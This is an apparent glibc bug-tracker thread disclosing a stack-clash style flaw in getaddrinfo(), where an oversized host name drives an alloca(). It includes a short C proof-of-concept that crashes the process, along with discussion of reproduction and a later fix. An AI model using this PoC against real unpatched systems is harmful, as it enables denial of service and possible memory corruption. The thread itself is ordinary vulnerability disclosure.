getaddra() uses the provided node parameter to determine the size of an alloca(). When compiled without the -fstack-check option alloca() will be inlined as "SUB esp, size". For large values of size this can result in several consequences which allow subsequent writes to the stack to overwrite arbitrary memory. The following POC can be used to demonstrate this vulnerability. #include <sys/mman.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> void main(int argc, char **argv) { struct addrinfo hints, *res; char serv[] = ""; char *host; host = mmap(0, atoi(argv[1]), PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); memset(host, 0x41, atoi(argv[1])); host[atoi(argv[1]) - 1] = '\0'; memset ((char *)&hints, 0, sizeof (hints)); hints.ai_family = PF_INET; hints.ai_socktype = SOCK_STREAM; getaddrinfo(host, 0, &hints, &res); exit(0); } On a 32bit arch try values in the range of 9mb to demonstrate a crash.
getaddra() should be getaddrinfo()... thats what I get for not proof reading. (In reply to comment #0) > getaddra() uses the provided node parameter to determine the size of an > alloca(). When compiled without the -fstack-check option alloca() will be > inlined as "SUB esp, size". For large values of size this can result in several > consequences which allow subsequent writes to the stack to overwrite arbitrary > memory. > > The following POC can be used to demonstrate this vulnerability. > > #include <sys/mman.h> > #include <sys/types.h> > #include <sys/socket.h> > #include <netdb.h> > > void main(int argc, char **argv) { > struct addrinfo hints, *res; > char serv[] = ""; > char *host; > host = mmap(0, atoi(argv[1]), PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); > memset(host, 0x41, atoi(argv[1])); > host[atoi(argv[1]) - 1] = '\0'; > memset ((char *)&hints, 0, sizeof (hints)); > hints.ai_family = PF_INET; > hints.ai_socktype = SOCK_STREAM; > getaddrinfo(host, 0, &hints, &res); > exit(0); > } > > On a 32bit arch try values in the range of 9mb to demonstrate a crash.
ping... Any movement on this?
I'm not able to reproduce this at all. What versions of glibc, compiler, etc are you using? The problem sounds more like stack limits are being hit, causing a crash rather than having arbitrary overwrite controls.
Ah, as pointed out by the reporter in separate email, this could be a serious problem for threaded applications.
Looks like this issue may be getting mitigated in other ways already: $ ./getaddrinfo 100 getaddrinfo: Connection timed out $ ./getaddrinfo 1000 getaddrinfo: Invalid argument
Interesting.. are you testing against 2.12/13? I only have woefully out of date versions at home but I know this worked on a very recent install of Lucid. I'll post the version tomorrow when I get in to work and see if we can track down where this may have changed. Looking through the 2.11 code quickly there may be a similar bug in getnameinfo() but controlled through the query response. Not sure how big this can be. I'll test it out this week and report a new bug if it pans out.
The most recent version I have tested on is apparently 2.7
So, can you please try to reproduce this with current glibc?
Not that anything here was any help, I still looked through the code. There shouldn't be unprotected alloca uses anymore. The changes don't really have anything to do with with bug but I'm still attaching it to them to prevent annoying questions.
(In reply to Kees Cook from comment #5) > Looks like this issue may be getting mitigated in other ways already: > > $ ./getaddrinfo 100 > getaddrinfo: Connection timed out > $ ./getaddrinfo 1000 > getaddrinfo: Invalid argument You would have to use a much larger argument, probably something around this: $ ./getaddrinfo 16000000 I haven't got an unpatched glibc 2.7 around to test. This may have been fixed by 34a9094f49241ebb72084c536cf468fd51ebe3ec, which went into glibc 2.14. It has been backported by some downstream distributions, e.g. <https://bugzilla.redhat.com/show_bug.cgi?id=797096>.